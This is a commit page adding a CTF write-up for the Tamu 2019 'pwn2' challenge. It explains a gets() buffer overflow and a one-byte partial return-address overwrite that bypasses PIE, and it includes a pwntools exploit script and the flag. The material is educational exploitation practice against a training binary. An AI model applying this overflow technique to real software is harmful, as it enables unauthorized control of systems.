Skip to content

Commit a341b33

Browse files
committed
Added Tamu19_pwn2 write-up
1 parent 09f4f05 commit a341b33

File tree

1 file changed

+70
-0
lines changed

1 file changed

+70
-0
lines changed
Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
---
2+
layout: post
3+
title: Tamu 2019 pwn2
4+
date: 2025-07-16 00:22:03 +0300
5+
categories: Nightmare-series partial-overwrite
6+
tags: nightmare buffer-overflow i386 partial-overwrite
7+
---
8+
9+
## Information
10+
- Category: Pwn
11+
12+
## Description
13+
> None
14+
15+
## Write-up
16+
17+
When we run the program, it takes user input.
18+
If we inspect it using Ghidra or IDA, we can see it uses `gets()`, which is dangerous due to its lack of bounds checking.
19+
20+
However, our goal is to execute the `print_flag` function, and a simple buffer overflow to overwrite the return address won't work directly because the binary has **ASLR** and **PIE** enabled.
21+
22+
Instead, we can take advantage of how the `select_func` function works.
23+
24+
It takes our input, copies it into a local variable, and is then called from `main`. This means the return address inside `select_func` will point back to `main` — specifically, to the instruction after the call to `select_func`.
25+
26+
If we can partially overwrite the return address inside `select_func`, we can redirect execution to `print_flag`.
27+
28+
Since PIE only randomizes the higher bits, and the **low byte of the return address is fixed** (`0xd8`), a **partial overwrite** is enough to hijack control flow.
29+
We know:
30+
- The offset to the return address inside `select_func` is `0x1e`
31+
- The fixed **low byte** of `print_flag`'s address is `0xd8`
32+
33+
So, by sending input that overflows the buffer and **overwrites just the least-significant byte** of the return address, we can make the function return into `print_flag`, bypassing ASLR and PIE.
34+
35+
## Exploit
36+
```python
37+
#!/usr/bin/env python3
38+
39+
from pwn import *
40+
41+
exe = ELF("./pwn2_patched")
42+
43+
context.binary = exe
44+
45+
46+
def conn():
47+
if args.LOCAL:
48+
r = process([exe.path])
49+
if args.DEBUG:
50+
gdb.attach(r)
51+
else:
52+
r = remote("addr", 1337)
53+
54+
return r
55+
56+
57+
def main():
58+
r = conn()
59+
60+
payload = b"A"*0x1e + b"\xd8"
61+
r.send(payload)
62+
r.interactive()
63+
64+
65+
if __name__ == "__main__":
66+
main()
67+
```
68+
69+
## Flag
70+
> Flag:``` flag{g0ttem_b0yz}```

0 commit comments

Comments
 (0)